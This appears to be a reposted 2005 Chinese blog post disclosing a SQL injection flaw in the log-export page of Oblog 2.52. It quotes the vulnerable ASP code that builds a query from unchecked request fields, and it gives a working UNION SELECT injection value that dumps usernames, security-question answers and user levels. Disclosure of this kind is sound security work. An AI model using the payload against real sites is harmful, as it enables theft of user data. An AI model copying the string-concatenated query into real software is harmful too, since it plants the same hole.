ASP

本类阅读TOP10

·asp常用数据库连接方法和技巧
·无组件生成BMP验证码
·一些常用的辅助代码 (网络收藏)
·JavaScript实现的数据表格:冻结列、调整列宽和客户端排序
·VisualStudio.NET_2003及其 MSDN 下载地址
·ASP模拟MVC模式编程
·图片以二进制流输出到网页
·MD5加密算法 ASP版
·ASP.NET编程中的十大技巧
·改进 ASP 的字符串处理性能

分类导航
VC语言Delphi
VB语言ASP
PerlJava
Script数据库
其他语言游戏开发
文件格式网站制作
软件工程.NET开发
Oblog 2.52导出日志最新漏洞

作者:未知 来源:月光软件站 加入时间:2005-2-28 月光软件站

 

Oblog 2.52导出日志最新漏洞


/**
作者:慈勤强

Http://blog.csdn.net/cqq

2005-02-22
*/

 

昨天正好从oblog官方网站下载了一套最新的blog系统,版本是2.52的吧。

本来是在qq上看到一个朋友讨论help.asp文件的入侵思路的,

那篇文章在这里可以找到,

http://blog.csdn.net/cqq/archive/2005/02/22/297316.aspx



之后,顺手注册了一个用户,大体浏览了一下,

在后台有个导出日志的功能比较好,

这样就可以防止由于blog站点关闭,而自己辛辛苦苦写的文章没法保存的问题了。

csdn的blog就没有导出日志的功能,为此我还特意写了个小程序,

请看这里:

http://blog.csdn.net/cqq/archive/2005/02/04/280545.aspx



不过,这个导出日志的asp文件存在sql injection漏洞,

本来是导出自己的文章的,

这样一来,数据库里的任何数据都可以随便导出了,

直接危害到整个blog系统的安全。

 

主要的SQL代码如下:


sdate=request("selecty")&"-"&request("selectm")&"-"&request("selectd")

edate=request("selectey")&"-"&request("selectem")&"-"&request("selected")

sql="select topic,addtime,logtext from blog where username='"&username&"' and addtime<=#"&edate&"# and

addtime>=#"&sdate&"#"



大家看到,所有的客户端数据都没有经过检查就直接使用了,

自然会有问题,

因为不管什么情况,客户端的数据都是不可轻易相信的。

 

那么,我们构造这样的输入

"selectd=22# and 1=2 union select username,answer,userlevel from [user] union select topic,addtime,logtext from blog

where addtime<=#1900-1-1"

整个的sql语句就变为了:

select topic,addtime,logtext from blog where username='慈勤强' and addtime<=#2007-2-22# and addtime>=#2000-2-22# and

1=2
union select username,answer,userlevel from [user]
union select topic,addtime,logtext from blog where addtime<=#1900-1-1#

 

这样,就可以输出所有的用户名、用户密码提示问题答案和用户等级了

当然也可以得到数据库中的任何内容了,只要适当的变换sql语句。

 

 




相关文章

相关软件